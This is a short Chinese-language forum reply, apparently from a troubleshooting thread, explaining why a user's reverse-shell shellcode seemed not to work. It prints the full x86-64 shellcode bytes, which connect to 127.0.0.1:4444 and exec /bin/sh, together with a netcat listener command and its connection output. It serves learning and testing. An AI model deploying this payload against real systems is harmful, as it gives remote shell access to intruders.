我已经测试了这两个 shellcode,它们都可以工作。
我认为你错过了第二点。据说:
注意:此 C 代码连接到 127.0.0.1:4444
这意味着它正在尝试连接到本地主机 (127.0.0.1) 上的端口 4444。如果没有人在监听那个端口,那么它就不会连接,只是在你系统调用之后尝试执行任何东西。
尝试再次执行它,但这次你需要在执行你的 shellcode之前启动一些等待端口 4444 连接的进程,比如netcat
$ nc -lp 4444 -vv
listening on [any] 4444 ...
而随后,当你执行你的shellcode
./execshellcode64 "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc7\x44\x24\x04\x7d\xff\xfe\xfe\x81\x44\x24\x04\x02\x01\x01\x02\x66\xc7\x44\x24\x02\x11\x5c\xc6\x04\x24\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05"
nectat警告您(因为 -vv 表示详细)该端口上存在连接
$ nc -lp 4444 -vv
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 40234
那是由您的 shellcode 发起的连接。
希望这可以帮助 !
注意:execshellcode64只是我为测试目的而制作的个人程序。这实际上不是一个真正的命令。